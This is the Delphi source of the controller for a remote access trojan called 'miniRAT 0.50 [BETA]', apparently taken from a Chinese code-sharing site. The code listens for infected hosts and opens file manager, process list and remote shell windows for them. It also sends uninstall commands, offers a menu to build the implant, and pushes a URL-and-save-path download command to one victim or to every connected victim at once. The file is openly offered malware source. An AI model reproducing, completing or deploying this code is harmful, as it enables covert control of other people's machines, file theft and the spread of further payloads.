untClient.pas
上传用户:sinothink
上传日期:2022-07-15
资源大小:459k
文件大小:10k
源码类别:

远程控制编程

开发平台:

Delphi

  1. {南域剑盟    www.98exe.com   上兴QQ:51992
  2.  声明:程序由南域剑盟98exe.com成员网上搜集,不承担技术及版权问题}
  3. unit untClient;
  4. interface
  5. uses
  6.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  7.   Dialogs, ComCtrls, StdCtrls, untServerCore, ImgList, Menus, Winsock,
  8.   untCMDList, untInformationView, untFileManager, untProcessList, untRemoteCmd,
  9.   ExtCtrls;
  10. type
  11.   ConnectSock = Record
  12.     port: integer;
  13.     pass: string;
  14.     host: string;
  15.   End;
  16.     rConnectSock = ^ConnectSock;
  17.   TForm1 = class(TForm)
  18.     GroupBox1: TGroupBox;
  19.     StatusBar1: TStatusBar;
  20.     Label1: TLabel;
  21.     Edit1: TEdit;
  22.     Button1: TButton;
  23.     ListView1: TListView;
  24.     Edit2: TEdit;
  25.     Label2: TLabel;
  26.     PopupMenu1: TPopupMenu;
  27.     ransferView1: TMenuItem;
  28.     N1: TMenuItem;
  29.     Disconnect1: TMenuItem;
  30.     InformationView1: TMenuItem;
  31.     FileManager1: TMenuItem;
  32.     ProcessList1: TMenuItem;
  33.     RemoteCmd1: TMenuItem;
  34.     Timer1: TTimer;
  35.     Uninstall1: TMenuItem;
  36.     N2: TMenuItem;
  37.     CreateServer1: TMenuItem;
  38.     About1: TMenuItem;
  39.     Download1: TMenuItem;
  40.     hisone1: TMenuItem;
  41.     Everyone1: TMenuItem;
  42.     N3: TMenuItem;
  43.     procedure FormCreate(Sender: TObject);
  44.     procedure Button1Click(Sender: TObject);
  45.     procedure ransferView1Click(Sender: TObject);
  46.     procedure Disconnect1Click(Sender: TObject);
  47.     procedure InformationView1Click(Sender: TObject);
  48.     procedure FileManager1Click(Sender: TObject);
  49.     procedure ProcessList1Click(Sender: TObject);
  50.     procedure Button2Click(Sender: TObject);
  51.     procedure RemoteCmd1Click(Sender: TObject);
  52.     procedure Timer1Timer(Sender: TObject);
  53.     procedure CreateServer1Click(Sender: TObject);
  54.     procedure About1Click(Sender: TObject);
  55.     procedure Uninstall1Click(Sender: TObject);
  56.     procedure hisone1Click(Sender: TObject);
  57.     procedure Everyone1Click(Sender: TObject);
  58.     procedure N3Click(Sender: TObject);
  59.   private
  60.     { Private declarations }
  61.   public
  62.     { Public declarations }
  63.   end;
  64. const
  65.   dVersion = 'miniRAT 0.50 [BETA]';
  66. Var
  67.   Server: TServer;
  68.   Form1: TForm1;
  69.   ListenHandle: THandle;
  70.   rCon:ConnectSock;
  71.   dlgInformation        : Array [0..100] Of TForm3;
  72.   dlgFileManager        : Array [0..100] Of TForm4;
  73.   dlgProcessList        : Array [0..100] Of TForm5;
  74.   dlgRemoteShell        : Array [0..100] Of TForm6;
  75. implementation
  76. uses untTransferView, untServerCreator, untAbout;
  77. {$R *.dfm}
  78. procedure StartServer;
  79. Begin
  80.   Server := TServer.Create;
  81.   Server.Port := StrToInt(Form1.Edit1.Text);
  82.   Server.Listen;
  83. End;
  84. procedure TForm1.FormCreate(Sender: TObject);
  85. begin
  86.   Form1.Caption := dVersion;
  87.   FillChar(dlgInformation, SizeOf(dlgInformation), 0);
  88. end;
  89. procedure TForm1.Button1Click(Sender: TObject);
  90. var
  91.   D: Dword;
  92.   X: Cardinal;
  93.   I: Word;
  94. begin
  95.   If (Button1.Caption = '&Listen') Then
  96.   Begin
  97.     Password := Edit2.Text;
  98.     ListenHandle := CreateThread(NIL, 0, @StartServer, NIL, 0, D);
  99.     Button1.Caption := '&Stop';
  100.     StatusBar1.Panels[0].Text := 'Listening.';
  101.   End Else
  102.   Begin
  103.     GetExitCodeThread(ListenHandle, X);
  104.     If (TerminateThread(ListenHandle, X)) Then
  105.       StatusBar1.Panels[1].Text := 'Stopped listening successfully.'
  106.     Else
  107.       StatusBar1.Panels[1].Text := 'Cant close listen-thread.';
  108.     Button1.Caption := '&Listen';
  109.     StatusBar1.Panels[0].Text := 'Not Active.';
  110.     ListView1.Items.Clear;
  111.     For I := 0 To 99 Do
  112.       If (Server.SocketList[I] > 0) Then CloseSocket(Server.SocketList[I]);
  113.   End;
  114. end;
  115. procedure TForm1.ransferView1Click(Sender: TObject);
  116. begin
  117.   Form2.Show;
  118. end;
  119. procedure TForm1.Disconnect1Click(Sender: TObject);
  120. begin
  121.   If (ListView1.ItemIndex = -1) Then Exit;
  122.   Server.Disconnect(ListView1.ItemFocused.Caption, ListView1.ItemFocused.SubItems[0]);
  123. end;
  124. procedure TForm1.InformationView1Click(Sender: TObject);
  125. var
  126.   I:    Word;
  127.   F:    Boolean;
  128. begin
  129.   If (ListView1.ItemIndex = -1) Then Exit;
  130.   For I := 0 To 100 Do
  131.     If (dlgInformation[I] <> NIL) And
  132.        (dlgInformation[I].StatusBar1.Panels[0].Text = ListView1.ItemFocused.SubItems[4]) Then
  133.          Exit;
  134.   F := False;
  135.   ZeroMemory(@I, SizeOf(I));
  136.   For I := 0 To 100 Do
  137.     If (dlgInformation[I] = NIL) Or (Not dlgInformation[I].Visible) Then
  138.     Begin
  139.       Application.CreateForm(TForm3, dlgInformation[I]);
  140.       dlgInformation[I].Visible := True;
  141.       dlgInformation[I].StatusBar1.Panels[0].Text := ListView1.ItemFocused.SubItems[4];
  142.       dlgInformation[I].StatusBar1.Panels[1].Text := ListView1.ItemFocused.Caption+':'+ListView1.ItemFocused.SubItems[0];
  143.       F := True;
  144.       Break;
  145.     End;
  146.   If (Not F) Then
  147.     MessageBox(0, 'Error: To many "Information View" boxes loaded', 'Error', mb_ok or mb_iconhand);
  148. end;
  149. procedure TForm1.FileManager1Click(Sender: TObject);
  150. var
  151.   I:    Word;
  152.   F:    Boolean;
  153. begin
  154.   If (ListView1.ItemIndex = -1) Then Exit;
  155.   For I := 0 To 100 Do
  156.     If (dlgFilemanager[I] <> NIL) And
  157.        (dlgFilemanager[I].StatusBar1.Panels[0].Text = ListView1.ItemFocused.SubItems[4]) Then
  158.          Exit;
  159.   F := False;
  160.   ZeroMemory(@I, SizeOf(I));
  161.   For I := 0 To 100 Do
  162.     If (dlgFilemanager[I] = NIL) Or (Not dlgFilemanager[I].Visible) Then
  163.     Begin
  164.       Application.CreateForm(TForm4, dlgFilemanager[I]);
  165.       dlgFilemanager[I].Visible := True;
  166.       dlgFilemanager[I].StatusBar1.Panels[0].Text := ListView1.ItemFocused.SubItems[4];
  167.       dlgFilemanager[I].StatusBar1.Panels[1].Text := ListView1.ItemFocused.Caption+':'+ListView1.ItemFocused.SubItems[0];
  168.       F := True;
  169.       Break;
  170.     End;
  171.   If (Not F) Then
  172.     MessageBox(0, 'Error: To many "Filemanager" boxes loaded', 'Error', mb_ok or mb_iconhand);
  173. end;
  174. procedure TForm1.ProcessList1Click(Sender: TObject);
  175. var
  176.   I:    Word;
  177.   F:    Boolean;
  178. begin
  179.   If (ListView1.ItemIndex = -1) Then Exit;
  180.   For I := 0 To 100 Do
  181.     If (dlgProcessList[I] <> NIL) And
  182.        (dlgProcessList[I].StatusBar1.Panels[0].Text = ListView1.ItemFocused.SubItems[4]) Then
  183.          Exit;
  184.   F := False;
  185.   ZeroMemory(@I, SizeOf(I));
  186.   For I := 0 To 100 Do
  187.     If (dlgProcessList[I] = NIL) Or (Not dlgProcessList[I].Visible) Then
  188.     Begin
  189.       Application.CreateForm(TForm5, dlgProcessList[I]);
  190.       dlgProcessList[I].Visible := True;
  191.       dlgProcessList[I].StatusBar1.Panels[0].Text := ListView1.ItemFocused.SubItems[4];
  192.       dlgProcessList[I].StatusBar1.Panels[1].Text := ListView1.ItemFocused.Caption+':'+ListView1.ItemFocused.SubItems[0];
  193.       F := True;
  194.       Break;
  195.     End;
  196.   If (Not F) Then
  197.     MessageBox(0, 'Error: To many "Process List" boxes loaded', 'Error', mb_ok or mb_iconhand);
  198. end;
  199. procedure TForm1.Button2Click(Sender: TObject);
  200. begin
  201.   Form5.Show;
  202. end;
  203. procedure TForm1.RemoteCmd1Click(Sender: TObject);
  204. var
  205.   I:    Word;
  206.   F:    Boolean;
  207. begin
  208.   If (ListView1.ItemIndex = -1) Then Exit;
  209.   For I := 0 To 100 Do
  210.     If (dlgRemoteShell[I] <> NIL) And
  211.        (dlgRemoteShell[I].StatusBar1.Panels[0].Text = ListView1.ItemFocused.SubItems[4]) Then
  212.          Exit;
  213.   F := False;
  214.   ZeroMemory(@I, SizeOf(I));
  215.   For I := 0 To 100 Do
  216.     If (dlgRemoteShell[I] = NIL) Or (Not dlgRemoteShell[I].Visible) Then
  217.     Begin
  218.       Application.CreateForm(TForm6, dlgRemoteShell[I]);
  219.       dlgRemoteShell[I].Visible := True;
  220.       dlgRemoteShell[I].StatusBar1.Panels[0].Text := ListView1.ItemFocused.SubItems[4];
  221.       dlgRemoteShell[I].StatusBar1.Panels[1].Text := ListView1.ItemFocused.Caption+':'+ListView1.ItemFocused.SubItems[0];
  222.       F := True;
  223.       Break;
  224.     End;
  225.   If (Not F) Then
  226.     MessageBox(0, 'Error: To many "Remote Shell" boxes loaded', 'Error', mb_ok or mb_iconhand);
  227. end;
  228. procedure TForm1.Timer1Timer(Sender: TObject);
  229. begin
  230.   Form2.Show;
  231.   Form2.Left := Form1.Left;
  232.   Form2.Top := Form1.Top + Form1.Height;
  233.   Timer1.Enabled := False;
  234. end;
  235. procedure TForm1.CreateServer1Click(Sender: TObject);
  236. begin
  237.   Form7.Show;
  238. end;
  239. procedure TForm1.About1Click(Sender: TObject);
  240. begin
  241.   Form8.Show;
  242. end;
  243. procedure TForm1.Uninstall1Click(Sender: TObject);
  244. var
  245.   Sock: TSocket;
  246.   Temp: String;
  247. begin
  248.   If ListView1.ItemIndex = -1 Then Exit;
  249.   Sock := StrToInt(ListView1.ItemFocused.SubItems[4]);
  250.   Temp := IntToStr(C_UNINSTALL) + ' '#10;
  251.   Send(Sock, Temp[1], Length(Temp), 0);
  252. end;
  253. procedure TForm1.hisone1Click(Sender: TObject);
  254. var
  255.   Sock: TSocket;
  256.   Temp: String;
  257.   HTTP: String;
  258.   SAVE: String;
  259. begin
  260.   If ListView1.ItemIndex = -1 Then Exit;
  261.   Sock := StrToInt(ListView1.ItemFocused.SubItems[4]);
  262.   HTTP := InputBox('URL Download', 'Please insert URL to uploaded file', 'http://');
  263.   SAVE := InputBox('Save As', 'Save downloaded file at', 'C:file.exe');
  264.   Temp := IntToStr(C_DOWNLOAD) + ' ' + HTTP + ' ' + SAVE + #10;
  265.   Send(Sock, Temp[1], Length(Temp), 0);
  266. end;
  267. procedure TForm1.Everyone1Click(Sender: TObject);
  268. var
  269.   Sock: TSocket;
  270.   Temp: String;
  271.   I   : Word;
  272.   HTTP: String;
  273.   SAVE: String;
  274. begin
  275.   If (ListView1.items.Count = 0) Then Exit;
  276.   StatusBar1.Panels[1].Text := 'URL Sent to 0 of '+IntToStr(ListView1.Items.Count);
  277.   For I := 0 To ListView1.Items.Count -1 Do
  278.   Begin
  279.     Sock := StrToInt(ListView1.Items[I].SubItems[4]);
  280.     HTTP := InputBox('URL Download', 'Please insert URL to uploaded file', 'http://');
  281.     SAVE := InputBox('Save As', 'Save downloaded file at', 'C:file.exe');
  282.     Temp := IntToStr(C_DOWNLOAD) + ' ' + HTTP + ' ' + SAVE + #10;
  283.     Send(Sock, Temp[1], Length(Temp), 0);
  284.     StatusBar1.Panels[1].Text := 'URL Sent to '+IntToStr(I)+' of '+IntToStr(ListView1.Items.Count);
  285.   End;
  286. end;
  287. function ConnectServer(p:Pointer):DWORD;stdcall;
  288. begin
  289.   if Server=nil then
  290.   Server := TServer.Create;
  291.   Server.Connect(rConnectSock(p)^.host,rConnectSock(p)^.pass,rConnectSock(p)^.port);
  292. end;
  293. procedure TForm1.N3Click(Sender: TObject);
  294. var D:DWORD;
  295.     hs,hp:string;
  296. begin
  297.      hs:=InputBox('请输入','请输入连接主机地址:','192.168.5.2');
  298.      hp:=InputBox('请输入','请输入连接端口:','3684');
  299.      rCon.port:=strtoint(hp);
  300.      rCon.pass:='';
  301.      rCon.host:=hs;
  302.      ListenHandle := CreateThread(NIL, 0, @ConnectServer, @rCon, 0, D);
  303. end;
  304. end.